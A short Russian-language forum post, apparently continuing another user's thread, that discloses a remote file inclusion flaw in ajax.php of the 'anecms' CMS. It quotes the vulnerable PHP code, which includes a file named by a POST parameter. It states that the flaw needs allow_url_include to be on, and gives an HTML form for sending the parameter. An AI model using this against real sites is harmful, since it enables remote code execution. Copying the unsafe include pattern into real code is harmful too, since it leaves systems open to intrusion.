Продолжение поста [x60]unu.
RFI
ajax.php!

PHP код:

<?php
include './system/pages/essential.php';
if(isset($_POST['p']))
    include $_POST['p'];
?>

Условие:
allow_url_include = On

Експлуатация:

Код HTML:

<form method="POST" action="http://localhost/anecms/ajax.php">
<input type="text" name="p" />
<input type="submit" /></form>